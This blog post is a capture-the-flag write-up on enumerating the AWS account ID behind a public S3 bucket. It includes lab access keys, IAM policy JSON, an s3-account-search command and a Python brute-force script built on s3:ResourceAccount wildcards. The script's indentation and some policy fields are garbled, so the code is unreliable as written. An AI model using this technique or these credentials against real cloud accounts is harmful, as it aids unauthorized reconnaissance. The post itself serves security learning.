ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeIdentifying an AWS Account ID from a Public S3 Bucket

Identifying an AWS Account ID from a Public S3 Bucket

I0veD
I0veDcyber security researcher
August 12, 2026
3 min read
Identifying an AWS Account ID from a Public S3 Bucket
Article


Identify the AWS Account ID from a Public S3 Bucket
b


Get account ID using S3

entrypoint:

IP address: 54.204.171.32

Access Key ID: AKIAWHEOTHRFW4CEP7HK

Secret key: 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


Port 80 of 54.204.171.32 opens the web site. Visit the site to view the js source code, which is available for public reading in S3.

Image

mega-big-tech.s3.amazonaws.comThere is no valid information, use‣Try blasting the ID

Blasting principle:

Use wildcards to blast the id and verify the return by whether it is Allowed.

Explosive requirements:

Any aws account,

via ARN(987654321098)createRole trust policy and permission policy, they will bear the binding

Permission policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "arn:aws:iam::471112733333:role/s3"
        }
    ]
}

role trust strategy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::471112733333:user/ctf-s3"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}


Then bind s3 permissions

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Enum",
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::mega-big-tech/*"
        },
        {
            "Sid": "Enum1",
            "Effect": "Allow",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3::987654321098:mega-big-tech"
        }
    ]
}

Then create a security credential cli rule and copy the key

Image



Then scan it

s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech

Image

flag is107513503799


Later, you can learn about tari's articles by accessing the public snapshot:Identify the AWS Account ID from a Public S3 Bucket,b | tari Blog


Here we use the bisection method to reduce the calculation speed by bisecting the source code.

First calculate the original time spent


$command = "s3-account-search arn:aws:iam::471112733333:role/s3 s3://mega-big-tech"
$startTime = Get-Date
$output = Invoke-Expression $command
$endTime = Get-Date
$elapsedTime = $endTime - $startTime
Write-Output "Command output:"
Write-Output $output
Write-Output "Command took $($elapsedTime.TotalSeconds) seconds to complete."

Image

Almost 173s. Of course, this is enough for actual combat.


The following is a little improved code, the effect is acceptable

#!/usr/bin/env python
import sys
from argparse import ArgumentParser
from typing import Tuple, Optional

import boto3 as boto3
from aws_assume_role_lib import assume_role
from botocore.exceptions import ClientError

def run():
parser = ArgumentParser()
parser.add_argument("--profile", help="Source Profile")
parser.add_argument(
"role_arn",
help="ARN of the role to assume. This role should have s3:GetObject and/or s3:ListBucket permissions",
)
parser.add_argument("path", help="s3 bucket or bucket/path to test with")

args = parser.parse_args()

session = boto3.Session(profile_name=args.profile)
bucket, key = to_s3_args(args.path)
role_arn = args.role_arn

# try accessing the bucket without any restrictions
if not can_access_with_policy(session, bucket, key, role_arn, {}):
    print(f"{role_arn} cannot access {bucket}", file=sys.stderr)
    exit(1)

print("Starting search (this can take a while)")
digits = ""
# do 12 iterations, so we never have an infinite loop
for _ in range(0, 12):
    new_digit = binary_search_digit(session, bucket, key, role_arn, digits)
    if new_digit is None:
        print("Something went wrong, we couldn't find all 12 digits")
        exit(1)
    digits += new_digit
    print(f"Current digits: {digits}")

print(f"Found account ID prefix: {digits}")

def binary_search_digit(
session: boto3.session.Session,
bucket: str,
key: Optional[str],
role_arn: str,
current_digits: str,
) -> Optional[str]:
low, high = 0, 9
while low <= high:
mid = (low + high) // 2
test = f"{current_digits}{mid}"
policy = get_policy(test)
if can_access_with_policy(session, bucket, key, role_arn, policy):
print(f"Found: {test}")
return str(mid)
else:
# If mid is not valid, check if the next digit is valid
next_test = f"{current_digits}{mid + 1}"
next_policy = get_policy(next_test)
if can_access_with_policy(session, bucket, key, role_arn, next_policy):
print(f"Found: {next_test}")
return str(mid + 1)
else:
high = mid - 1
return None

def get_policy(digits: str):
return {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowResourceAccount",
"Effect": "Allow",
"Action": "s3:",
"Resource": "",
"Condition": {
"StringLike": {"s3:ResourceAccount": [f"{digits}*"]},
},
},
],
}

def can_access_with_policy(
session: boto3.session.Session,
bucket: str,
key: Optional[str],
role_arn: str,
policy: dict,
):
if not policy:
assumed_role_session = assume_role(session, role_arn)
else:
assumed_role_session = assume_role(session, role_arn, Policy=policy)

s3 = assumed_role_session.client("s3")
if key:
    try:
        s3.head_object(Bucket=bucket, Key=key)
        return True
    except ClientError as e:
        if e.response.get("Error", {}).get("Code") == "403":
            pass  # try the next thing
        else:
            raise
try:
    s3.head_bucket(Bucket=bucket)
    return True
except ClientError as e:
    if e.response.get("Error", {}).get("Code") == "403":
        pass  # continue to default return False
    else:
        raise
return False

def to_s3_args(path: str) -> Tuple[str, Optional[str]]:
if path.startswith("s3://"):
path = path[5:]
assert path, "no bucket name provided"

parts = path.split("/")
if len(parts) &gt; 1:
    return parts[0], "/".join(parts[1:])
# exactly 1 part
return parts[0], None

if name == "main":
run()

I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.